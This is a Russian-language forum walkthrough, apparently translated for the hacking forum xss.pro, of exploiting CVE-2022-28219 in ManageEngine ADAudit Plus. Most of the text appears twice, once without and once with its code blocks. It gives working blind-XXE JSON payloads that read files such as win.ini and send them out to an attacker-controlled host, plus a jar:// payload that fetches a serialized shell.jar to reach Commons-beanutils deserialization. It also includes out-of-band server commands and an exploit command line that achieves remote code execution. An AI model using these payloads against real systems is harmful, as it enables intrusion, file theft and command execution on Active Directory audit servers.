Это точно ЖЕСТЯНОЧКА, чую)
ОРИГИНАЛЬНАЯ СТАТЬЯ
ПЕРЕВЕДЕНО СПЕЦИАЛЬНО ДЛЯ xss.pro
$600 на SSD для Jolah Molivski ---> 0x5B1f2Ac9cF5616D9d7F1819d1519912e85eb5C09 для поднятия ноды ETHEREUM и тестов
https://archives2.manageengine.com/active-directory-audit/ - просто загрузите файл и создайте его, а затем создайте контроллер домена самостоятельно.
Я также сталкивался с проблемой java-протокола в CTF раньше. Псевдопротокол jar:// предоставляется в Java для удаленного получения файлов в пакете JAR. И вы можете извлечь указанный файл из пакета jar.
jar процесс обработки протокола выглядит следующим образом
https://github.com/pwntester/BlockingServer
Давай попробуем
Первым на тест пришел test1.txt Этот файл не существует, поэтому расположение временного файла может быть раскрыто
Вы можете использовать file:// и другие протоколы для перечисления директории, чтобы найти местоположение временных файлов
Скопируйте собранные файлы для подготовки к отладке.
Измените run.bat, после чего администратор запускает run.bat для начала отладки
Впервые обнаружен в webappsadapWEB-INFweb.xml CewolfServletЭтот сервлет является точкой уязвимости десериализации CVE-2020-10189.
Отсюда по подробнее
В основном смотрим на красные стрелочки
Потом на функцию getChartImage
Дальше сфокусировались на FileStorage
Здесь файл десериализован. А в этом фильтре нет. Так что мы можем добраться до сюда:
Так как есть ссылка на библиотеку ADAuditThe Commons-beanutils вы можете сгенерировать CB payload test.png, а затем попытаться атаковать.
Поиск уязвимостей xxe
Поэтому для записи в файл вводится вышеупомянутая запись во временный файл.
Сравнение патчей обнаружения com.adventnet.sym.adsm.auditing.server.category.ProcessTrackingListenerPatched to XML:
Для исправления используется новый класс инструментов SecurityUtil.getDocumentBuilder().
Давайте посмотрим, где он срабатывает. exist parseTaskContent Сделайте точку остановаи проанализируйте процесс.
Находим это ADAPAgentAPIServlet и продолжаем смотреть
Здесь и Get, и Post переходят к processRequest. затем введите executeAgentRequest
Долго тестил здесь, получить не получалось, в конце концов, я попробовал POST, чтобы получилось mappingInfo значение введите сюда AgentDataHandler.class
Обнаружено, что требуются данные в формате JSON
Здесь данные, то есть значения, которые я передал, хранятся в виде карт.
Затем увидим что это обрабатывается тут:
вызовет ниже ProcessMonitor.process(modData);
Для запуска функций этого процесса необходимы следующие параметры
а вход в функцию addEventRows
после этого
Наконец-то пришло время для обработки XML здесь
Таким образом, существует blindXXE.
Попробуем использовать уязвимость blindXXE для получения списка расположения file://temporary files с помощью xxe-ftp-server.
github.com
direct start py -2 .\xxe-ftp-server.py 127.0.0.1 3000 2122
Отправим файл на чтение. Сначала мы загружаем временные файлы с помощью протокола jar java BlockingServer 9999 shell.zip
shell.jar является нашим файлом сериализации
Файл кэша найден. Десериализован файл всплывающего окна
https://www.horizon3.ai/red-team-blog-cve-2022-28219/
https://www.horizon3.ai/red-team-blog-cve-2022-28219/
Этот CVE показывает нам несколько вариантов использования уязвимости XXE. Одно из них - использование xxe-ftp-server для получения списка каталогов. Найти файлы. Второе - использование протокола jar для взаимодействия с инструментами для достижения цели записи файлов кэша.
Этот ZohoManage имеет как XXE, так и произвольную десериализацию файлов, и внутри есть CB-цепочка. вызывает выполнение команды.
EXP: https://github.com/horizon3ai/CVE-2022-28219
Попробуйте, и вы сможете выполнить RCE
ОРИГИНАЛЬНАЯ СТАТЬЯ
ПЕРЕВЕДЕНО СПЕЦИАЛЬНО ДЛЯ xss.pro
$600 на SSD для Jolah Molivski ---> 0x5B1f2Ac9cF5616D9d7F1819d1519912e85eb5C09 для поднятия ноды ETHEREUM и тестов
1. Окружающая среда
https://archives2.manageengine.com/active-directory-audit/ - просто загрузите файл и создайте его, а затем создайте контроллер домена самостоятельно.
2. Анализ уязвимостей JAVA XXE
Я также сталкивался с проблемой java-протокола в CTF раньше. Псевдопротокол jar:// предоставляется в Java для удаленного получения файлов в пакете JAR. И вы можете извлечь указанный файл из пакета jar.
Код:
jar:{url}!/{entry}
urlis the remote file path, entryis the decompressed file.
jar процесс обработки протокола выглядит следующим образом
- Загрузите пакет JAR или ZIP-файл во временный путь на удаленном сервере.
- Извлечь указанный файл
- удалить временные файлы
https://github.com/pwntester/BlockingServer
Давай попробуем
Код:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "jar:http://127.0.0.1:9999/test.zip!/test1.txt">
]>
<root>&xxe;</root>
Первым на тест пришел test1.txt Этот файл не существует, поэтому расположение временного файла может быть раскрыто
Вы можете использовать file:// и другие протоколы для перечисления директории, чтобы найти местоположение временных файлов
2. Уязвимость десериализации
Скопируйте собранные файлы для подготовки к отладке.
Измените run.bat, после чего администратор запускает run.bat для начала отладки
Код:
set JAVA_OPTS=-Xmx512m -Dcatalina.home="%SERVER_HOME%" -Dserver.home="%SERVER_HOME%" -Dlog.dir="%SERVER_HOME%" -Ddb.home="%DB_HOME%" -Djava.library.path="%SERVER_HOME%\lib\native" -Dserver.stats=10000 -Dfile.encoding="utf8" -Djava.util.logging.manager="org.apache.juli.ClassLoaderLogManager" -Djava.util.logging.config.file="%SERVER_HOME%/conf/logging.properties" -Dserver.stats=10000 -Dcheck.tomcatport="true" -Dhaltjvm.on.dbcrash="true" -Duser.home="%SERVER_HOME%\logs" -Dorg.apache.catalina.authenticator.Constants.SSO_SESSION_COOKIE_NAME=JSESSIONIDADAPSSO -Dhttps.protocols=TLSv1,TLSv1.1,TLSv1.2 -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
Впервые обнаружен в webappsadapWEB-INFweb.xml CewolfServletЭтот сервлет является точкой уязвимости десериализации CVE-2020-10189.
Отсюда по подробнее
В основном смотрим на красные стрелочки
Потом на функцию getChartImage
Дальше сфокусировались на FileStorage
Здесь файл десериализован. А в этом фильтре нет. Так что мы можем добраться до сюда:
Так как есть ссылка на библиотеку ADAuditThe Commons-beanutils вы можете сгенерировать CB payload test.png, а затем попытаться атаковать.
Поиск уязвимостей xxe
Поэтому для записи в файл вводится вышеупомянутая запись во временный файл.
Сравнение патчей обнаружения com.adventnet.sym.adsm.auditing.server.category.ProcessTrackingListenerPatched to XML:
Для исправления используется новый класс инструментов SecurityUtil.getDocumentBuilder().
Давайте посмотрим, где он срабатывает. exist parseTaskContent Сделайте точку остановаи проанализируйте процесс.
Находим это ADAPAgentAPIServlet и продолжаем смотреть
Здесь и Get, и Post переходят к processRequest. затем введите executeAgentRequest
Долго тестил здесь, получить не получалось, в конце концов, я попробовал POST, чтобы получилось mappingInfo значение введите сюда AgentDataHandler.class
Обнаружено, что требуются данные в формате JSON
Здесь данные, то есть значения, которые я передал, хранятся в виде карт.
Затем увидим что это обрабатывается тут:
вызовет ниже ProcessMonitor.process(modData);
Для запуска функций этого процесса необходимы следующие параметры
Код:
[{ "DomainName": "whoamianony.org",
"EventCode": 4688,
"EventType": 0,
"TimeGenerated": 0,
"Task Content": "<XXE_PAYLOAD>"}]
а вход в функцию addEventRows
после этого
Наконец-то пришло время для обработки XML здесь
Таким образом, существует blindXXE.
Попробуем использовать уязвимость blindXXE для получения списка расположения file://temporary files с помощью xxe-ftp-server.
GitHub - LandGrey/xxe-ftp-server: xxe oob receive file via web and ftp server
xxe oob receive file via web and ftp server. Contribute to LandGrey/xxe-ftp-server development by creating an account on GitHub.
direct start py -2 .\xxe-ftp-server.py 127.0.0.1 3000 2122
Код:
[{ "DomainName": "whoamianony.org",
"EventCode": 4688,
"EventType": 0,
"TimeGenerated": 0,
"Task Content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?><!DOCTYPE data [ <!ENTITY % file SYSTEM \"file:///c:/windows/win.ini\"> <!ENTITY % dtd SYSTEM \"http://192.168.111.1:3000/data.dtd\"> %dtd;]><data>&send;</data>"}]
Отправим файл на чтение. Сначала мы загружаем временные файлы с помощью протокола jar java BlockingServer 9999 shell.zip
Код:
[{ "DomainName": "whoamianony.org",
"EventCode": 4688,
"EventType": 0,
"TimeGenerated": 0,
"Task Content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?><!DOCTYPE root [ <!ENTITY xxe SYSTEM \"jar:http://192.168.111.1:9999/shell.jar!/test.txt\"> ]><root>&xxe;</root>"}]
shell.jar является нашим файлом сериализации
Файл кэша найден. Десериализован файл всплывающего окна
https://www.horizon3.ai/red-team-blog-cve-2022-28219/
https://www.horizon3.ai/red-team-blog-cve-2022-28219/
Этот CVE показывает нам несколько вариантов использования уязвимости XXE. Одно из них - использование xxe-ftp-server для получения списка каталогов. Найти файлы. Второе - использование протокола jar для взаимодействия с инструментами для достижения цели записи файлов кэша.
Этот ZohoManage имеет как XXE, так и произвольную десериализацию файлов, и внутри есть CB-цепочка. вызывает выполнение команды.
EXP: https://github.com/horizon3ai/CVE-2022-28219
Попробуйте, и вы сможете выполнить RCE
Код:
py -3 CVE-2022-28219.py -t http://192.168.44.130:8081 -l 192.168.111.1 -d whoamianony.org -c calc.exe